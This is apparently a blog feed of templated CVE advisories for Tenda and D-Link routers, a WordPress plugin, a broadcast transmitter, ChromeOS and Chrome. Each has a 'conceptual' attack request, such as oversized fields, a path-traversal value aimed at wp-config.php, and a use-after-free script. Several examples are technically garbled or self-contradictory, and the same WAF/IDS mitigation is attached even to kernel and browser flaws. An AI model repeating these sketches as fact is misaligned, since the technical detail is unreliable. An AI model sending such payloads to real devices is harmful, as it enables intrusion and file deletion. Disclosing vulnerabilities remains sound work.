Author: Ameeba

CVE-2025-3803: Critical Vulnerability in Tenda W12 and i24 3.0.0.4/3.0.0.5 Resulting in Stack-Based Buffer Overflow
Overview

In today’s cybersecurity landscape, a new critical vulnerability has been identified, labeled as CVE-2025-3803. It primarily affects Tenda’s W12 and i24 devices running firmware versions 3.0.0.4(2887) and 3.0.0.5(3644), respectively. This flaw is of paramount importance due to the fact that it could lead to potential system compromise or data leakage, posing a significant threat to data integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-3803
Severity: Critical (CVSS Severity Score: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Tenda W12 | 3.0.0.4(2887)
Tenda i24 | 3.0.0.5(3644)

How the Exploit Works

The vulnerability lies within the cgiSysScheduleRebootSet function of the /bin/httpd file. This function handles the arguments for rebooting the device. The exploit takes advantage of the manipulation of the “rebootDate” argument, leading to a stack-based buffer overflow. This overflow can cause the system to execute arbitrary code, potentially compromising the system or leading to data leakage. The vulnerability can be exploited remotely, and the details have been disclosed to the public.

Conceptual Example Code

Here is a simplified conceptual example of a malicious HTTP request that could exploit this vulnerability:
```
POST /cgi-bin/httpd?rebootDate HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "rebootDate": "A long string that causes a buffer overflow..." }
```
In this example, the attacker sends a POST request to the device’s server with an excessively long “rebootDate” value. This results in a buffer overflow that could allow the execution of arbitrary code.

Mitigation Guidance

To mitigate this vulnerability, it is advised to apply the vendor patch as soon as it is available. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block malicious requests, preventing the exploit from being successful. Please ensure to always keep your systems updated to the latest firmware to prevent such vulnerabilities.
April 30, 2025
CVE-2025-3802: Critical Vulnerability in Tenda Wifi Routers
Overview

In this post, we will delve into a critical vulnerability (CVE-2025-3802) that affects Tenda W12 and i24 routers, specifically the versions 3.0.0.4(2887) and 3.0.0.5(3644). The susceptibility was located in the function cgiPingSet of the file /bin/httpd. This vulnerability matters because the exploitation of this flaw can lead to a stack-based buffer overflow, which can potentially compromise the system or lead to data leakage. Being remote, this vulnerability poses significant risks to all Tenda W12 and i24 users worldwide.

Vulnerability Summary

CVE ID: CVE-2025-3802
Severity: Critical, CVSS Score – 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda W12 | 3.0.0.4(2887) and 3.0.0.5(3644)
Tenda i24 | 3.0.0.4(2887) and 3.0.0.5(3644)

How the Exploit Works

The vulnerability lies within the cgiPingSet function of the /bin/httpd file. It is triggered by manipulating the pingIP argument that leads to a stack-based buffer overflow. A buffer overflow occurs when more data is written to a buffer than it can handle, causing it to overflow. This overflow can overwrite adjacent memory locations, leading to erratic program behavior, including memory access errors, incorrect results, and crashes.
In this case, the buffer overflow can be exploited remotely without any user interaction, making it a significant threat. Successful exploitation can lead to unauthorized disclosure of information, unauthorized modification, and even disruption of service.

Conceptual Example Code

Here’s a conceptual example of a malicious HTTP request that could exploit this vulnerability:
```
POST /cgi-bin/cgiPingSet HTTP/1.1
Host: [target IP]
Content-Type: application/x-www-form-urlencoded
pingIP=192.168.0.1%00 [Additional malicious payload]
```
In this example, the attacker sends a POST request to the cgiPingSet endpoint, using a manipulated pingIP argument. The address `192.168.0.1%00` is a null byte that terminates the string and is followed by the excess data (malicious payload) that causes the buffer to overflow.

Remediation

The recommended mitigation strategy is to apply the patch provided by the vendor. If not possible immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. However, it is advised to apply the patch as soon as possible to prevent potential system compromise or data leakage.
April 30, 2025
CVE-2025-3404: WordPress Download Manager Arbitrary File Deletion Vulnerability
Overview

The CVE-2025-3404 is a critical vulnerability in the Download Manager plugin for WordPress, affecting all versions up to and including 3.3.12. This vulnerability can lead to arbitrary file deletion, potentially rendering a website non-functional or even allowing an attacker to execute remote code. This advisory outlines the specifics of the vulnerability, who it affects, its potential consequences, and how to mitigate it. As WordPress is widely used across the internet, this vulnerability carries significant risk for unpatched systems.

Vulnerability Summary

CVE ID: CVE-2025-3404
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: High (Author-level access and above)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WordPress Download Manager | Versions up to and including 3.3.12

How the Exploit Works

The vulnerability lies in the savePackage function of the Download Manager plugin, which does not properly validate file paths. With this, an attacker with author-level access can craft a request to the server to delete arbitrary files. If the attacker chooses to delete a critical file, like wp-config.php, it can lead to remote code execution, thus compromising the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. It’s an HTTP request that instructs the server to delete a specific file:
```
POST /wp-admin/admin-ajax.php?action=wpdm_save_package HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
_ID=1&__wpdmfile[files][]=../../../../wp-config.php
```
In the above example, the attacker is instructing the server to delete the wp-config.php file, which is a crucial file in a WordPress installation. Deleting this can lead to a system compromise.

Mitigation Guidance

Users of the WordPress Download Manager plugin should immediately apply the vendor patch to fix this vulnerability. If a patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These systems can be configured to block requests that attempt to exploit this vulnerability.
April 29, 2025
CVE-2025-28237: Privilege Escalation Vulnerability in WorldCast Systems ECRESO FM/DAB/TV Transmitter
Overview

In a world where digital broadcasting is increasingly becoming the norm, ensuring the security of the tools that facilitate this global communication is paramount. This blog post discusses a critical vulnerability, CVE-2025-28237, that was discovered in the WorldCast Systems ECRESO FM/DAB/TV Transmitter v1.10.1. This vulnerability, if exploited, allows authenticated attackers to escalate privileges via a malicious JSON payload. This is an issue of considerable concern as it could potentially lead to system compromise or data leakage, impacting broadcast operations and potentially compromising sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-28237
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

WorldCast Systems ECRESO FM/DAB/TV Transmitter | v1.10.1

How the Exploit Works

The exploit takes advantage of a flaw in the authentication system of the ECRESO FM/DAB/TV Transmitter. An authenticated attacker can send a specially crafted JSON payload to the transmitter system which, due to insufficient input validation, could allow for a privilege escalation attack. This means the attacker could potentially gain higher-level permissions than intended, giving them the ability to carry out actions or access data that would otherwise be restricted.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example shows a crafted HTTP request containing a malicious JSON payload.
```
POST /API/Upgrade HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer {valid_token}
{
"update": {
"version": "1.10.2",
"package": "{malicious_payload}"
}
}
```
In this example, “{valid_token}” would be a token tied to an authenticated user (potentially acquired through other means), and “{malicious_payload}” would be a crafted payload designed to exploit the vulnerability, potentially leading to privilege escalation.
It is strongly recommended that all users of the WorldCast Systems ECRESO FM/DAB/TV Transmitter v1.10.1 apply the vendor-released patch at the earliest opportunity. As a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help identify and block malicious activities related to this vulnerability.
April 29, 2025
CVE-2025-3786: Critical Buffer Overflow Vulnerability in Tenda AC15
Overview

A severe vulnerability has been identified in Tenda AC15, a widely used WiFi router, that could potentially lead to system compromise or data leakage. This vulnerability, designated as CVE-2025-3786, affects versions up to 15.03.05.19 and has been classified as critical. It lies within the function fromSetWirelessRepeat of the file /goform/WifiExtraSet, where a manipulation of the ‘mac’ argument allows for a buffer overflow. This vulnerability matters because it can be exploited remotely, posing a significant risk to all systems and networks using the affected Tenda AC15 routers.

Vulnerability Summary

CVE ID: CVE-2025-3786
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC15 | Up to 15.03.05.19

How the Exploit Works

The exploit works by manipulating the ‘mac’ argument in the fromSetWirelessRepeat function. By passing an oversized input to this argument, an attacker can trigger a buffer overflow, causing the system to overwrite memory that was not allocated for this purpose. This can lead to unpredictable system behavior, including crashes, data corruption, and code execution. In this case, an attacker could potentially gain control over the system or access sensitive information.

Conceptual Example Code

Here’s a conceptual example of how an attacker might trigger this vulnerability:
```
POST /goform/WifiExtraSet HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
mac=00:00:00:00:00:00%00...[repeat until buffer overflow]
```
In this example, the MAC address argument is filled with a long string of null bytes, triggering a buffer overflow.
For network administrators and security professionals, it’s crucial to apply the vendor-supplied patch immediately. As a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to mitigate the risk.
April 29, 2025
CVE-2025-3785: Critical Buffer Overflow Vulnerability in D-Link DWR-M961
Overview

In today’s digital era, the security of our routers and network devices is as important as the security of our personal computers. A recently discovered vulnerability, CVE-2025-3785, in D-Link’s DWR-M961 router software has highlighted this issue. This vulnerability, identified as a critical stack-based buffer overflow, has a severe impact on the security and integrity of D-Link routers, specifically version 1.1.36. The vulnerability can lead to potential system compromise or data leakage, posing a great risk to both individual users and businesses alike.

Vulnerability Summary

CVE ID: CVE-2025-3785
Severity: Critical, CVSS Score of 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: Not required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Link DWR-M961 | up to version 1.1.36

How the Exploit Works

The vulnerability resides in the unknown code of the file /boafrm/formStaticDHCP of the component Authorization Interface. An attacker can exploit this vulnerability by manipulating the Hostname argument, leading to a stack-based buffer overflow. The attack can be initiated remotely without the need for user interaction or special privileges. Once the buffer overflow occurs, the attacker can execute arbitrary code, potentially compromising the system or leaking sensitive data.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. In this example, a malicious HTTP request is sent to the vulnerable router, manipulating the Hostname argument to trigger the buffer overflow.
```
POST /boafrm/formStaticDHCP HTTP/1.1
Host: vulnerable-router.com
Content-Type: application/json
{ "Hostname": "A".repeat(5000) } // Oversized Hostname argument to trigger buffer overflow
```
Recommendations and Mitigation Measures

The safest and most effective way to address this issue is to upgrade the affected component to version 1.1.49, which has been patched by the vendor to fix this vulnerability. If upgrading is not immediately feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. As always, maintaining a robust and updated security system is crucial in protecting against such vulnerabilities.
April 29, 2025
CVE-2025-2073: Out-of-Bounds Read Vulnerability in Google ChromeOS Kernel
Overview

This blog post is intended to shed light on a high-severity security vulnerability tagged CVE-2025-2073 that affects Google ChromeOS Kernel Versions 6.1, 5.15, 5.10, 5.4, 4.19 and targets all devices where the Termina virtual machine is used. This vulnerability, stemming from an Out-of-Bounds Read in ip_set_bitmap_ip.c, holds potential for serious exploitation that could lead to system compromise or data leakage.
The high severity of this exploit, coupled with the potential for privilege escalation, makes it an imminent threat that needs immediate attention and remediation. The fact that it affects a broad spectrum of ChromeOS versions underscores its critical nature.

Vulnerability Summary

CVE ID: CVE-2025-2073
Severity: High (CVSS Score: 8.8)
Attack Vector: Network
Privileges Required: High (CAP_NET_ADMIN)
User Interaction: None
Impact: Potential for system compromise and data leakage.

Affected Products

Product | Affected Versions

Google ChromeOS Kernel | 6.1, 5.15, 5.10, 5.4, 4.19

How the Exploit Works

The vulnerability is due to an Out-of-Bounds Read error in the ip_set_bitmap_ip.c file of Google ChromeOS Kernel. An attacker with CAP_NET_ADMIN privileges can exploit this vulnerability by sending crafted ipset commands to the target system. These malformed commands trigger the out-of-bounds read, which leads to memory corruption. The memory corruption could potentially be leveraged by the attacker to escalate their privileges and take control of the system.

Conceptual Example Code

While precise exploit code for this vulnerability is not available, a conceptual example could look something like this:
```
ipset create test bitmap:ip range 192.168.0.0/24
ipset add test 192.168.0.1
ipset save test > crafted_commands.txt
# Modify crafted_commands.txt to trigger out-of-bounds read
ipset restore < crafted_commands.txt
```
In this conceptual example, the attacker creates an ipset, adds an IP to it, saves the ipset, and then modifies the saved commands to trigger the vulnerability. The attacker then reloads the crafted commands into ipset, which causes memory corruption and potentially escalates their privileges.

Mitigation Guidance

The recommended mitigation is to apply the vendor’s patch once it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems should be configured to detect and block suspicious ipset commands. Administrators should also restrict the CAP_NET_ADMIN privilege to trusted users only.
Monitoring system logs for unusual ipset activity can also help detect attempted exploits. If any suspicious activity is detected, administrators should investigate immediately.
April 29, 2025
CVE-2025-1568: Critical Access Control Vulnerability in Google ChromeOS
Overview

The vulnerability in question, CVE-2025-1568, has been discovered in the Gerrit chromiumos project configuration in Google ChromeOS 131.0.6778.268. This vulnerability is particularly critical as it allows a registered Gerrit account owner to inject malicious code into ChromeOS projects. This security flaw could potentially lead to Remote Code Execution (RCE) and Denial of Service (DoS) attacks, making it a serious threat to the security integrity of Google ChromeOS.
This vulnerability affects all users running ChromeOS 131.0.6778.268, with the potential for system compromise or data leakage. The severity of the vulnerability makes it pertinent for users to understand the threat and take the necessary steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-1568
Severity: Critical, CVSS score 8.8
Attack Vector: Network
Privileges Required: Low (A registered Gerrit account)
User Interaction: Required (Editing trusted pipelines)
Impact: Potential system compromise, data leakage, Remote Code Execution and Denial of Service.

Affected Products

Product | Affected Versions

Google ChromeOS | 131.0.6778.268

How the Exploit Works

The vulnerability leverages insufficient access controls and misconfigurations in Gerrit’s project.config. An attacker with a registered Gerrit account can exploit this vulnerability by injecting malicious code into the ChromeOS projects. This is achieved by editing the trusted pipelines, where insufficient access controls allow for unauthorized changes. If successful, the attacker could potentially achieve Remote Code Execution, enabling them to run arbitrary code on the affected system, or cause a Denial of Service, rendering the service unavailable.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:
```
POST /project.config/edit HTTP/1.1
Host: gerrit.chromiumos.example.com
Content-Type: application/json
Authorization: Bearer <access_token>
{
"pipeline": {
"name": "trusted-pipeline",
"code": "malicious_code_here"
}
}
```
In the above example, the attacker sends a POST request to the Gerrit project.config edit endpoint. They modify the trusted pipeline with malicious code, exploiting the vulnerability.
Remember, this is a conceptual example and the actual exploit may vary based on the specific details of the system configuration and the attacker’s approach.
April 29, 2025
CVE-2025-3620: Google Chrome Use-After-Free Vulnerability in USB
Overview

In the rapidly evolving landscape of cybersecurity, vulnerabilities in widely used software can pose significant risks. One such vulnerability, identified as CVE-2025-3620, affects Google Chrome, one of the most popular web browsers globally. This high-severity flaw can potentially enable a remote attacker to exploit heap corruption via a specially crafted HTML page, which could lead to system compromise or data leakage. Given the widespread use of Google Chrome, this vulnerability has broad implications and demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-3620
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 135.0.7049.95

How the Exploit Works

The vulnerability stems from a use-after-free condition in the USB component of Google Chrome. A use-after-free error occurs when a piece of memory is used after it has been freed, which can lead to program instability or, in the worst case, a potential security vulnerability.
In this case, a remote attacker can craft a specific HTML page to trigger this vulnerability. If a user visits this page, it could exploit the flaw to cause heap corruption. This corruption could then be leveraged to execute arbitrary code in the context of the current user, potentially leading to system compromise or data leakage.

Conceptual Example Code

While the exact payload would depend on the specifics of the target system, the general approach might be something like this:
```
<html>
<body>
<script>
var uaf_object = new USBDevice();
uaf_object.close(); // Frees the object
// uaf_object is now a Use-After-Free (UAF) object
// Force JavaScript engine to reuse the freed memory space
for (var i = 0; i < 0x1000; i++) {
var arr = new Array(uaf_object);
}
// The malicious code that will be executed when the UAF object is used
arr[0x800] = "arbitrary code";
</script>
</body>
</html>
```
In this example, the crafted HTML page creates a new USBDevice object, immediately frees it, and then attempts to use it again. This misuse can lead to heap corruption, which is then exploited to insert and execute arbitrary code within the browser’s context.
April 29, 2025
CVE-2025-3619: Critical Heap Buffer Overflow Vulnerability in Google Chrome Codecs
Overview

In the relentless landscape of global cybersecurity, a new vulnerability referred to as CVE-2025-3619 has emerged. This vulnerability is found in Codecs in Google Chrome on Windows and is of critical severity, posing a substantial risk to users. The flaw can be exploited by remote attackers through a crafted HTML page, potentially leading to system compromise or data leakage. This vulnerability is significant due to its widespread potential impact, considering the vast number of users who rely on Google Chrome for their day-to-day browsing activities.

Vulnerability Summary

CVE ID: CVE-2025-3619
Severity: Critical, CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Google Chrome on Windows | Prior to 135.0.7049.95

How the Exploit Works

The exploit takes advantage of a flaw in the heap buffer overflow in Codecs of Google Chrome. An attacker crafts an HTML page with malicious code that when loaded and interpreted by the Chrome browser, results in heap corruption. This allows the attacker to execute an arbitrary code in the context of the current user, potentially compromising the system or leading to data leakage.

Conceptual Example Code

A conceptual example of this vulnerability might look like the following HTTP request, which sends a specially crafted HTML page:
```
GET /malicious.html HTTP/1.1
Host: attacker.example.com
Accept: text/html
<!DOCTYPE html>
<html>
<body>
<script>
// malicious Javascript code that triggers heap buffer overflow
</script>
</body>
</html>
```
Mitigation and Prevention

Users are urged to apply the patch provided by the vendor – Google, in this case – to mitigate this vulnerability. Specifically, users should update their Google Chrome browser to version 135.0.7049.95 or later. In the case that users are unable to apply the patch immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. These systems can detect and prevent attacks that attempt to exploit this vulnerability by monitoring and analyzing network traffic for signs of malicious activity.
April 29, 2025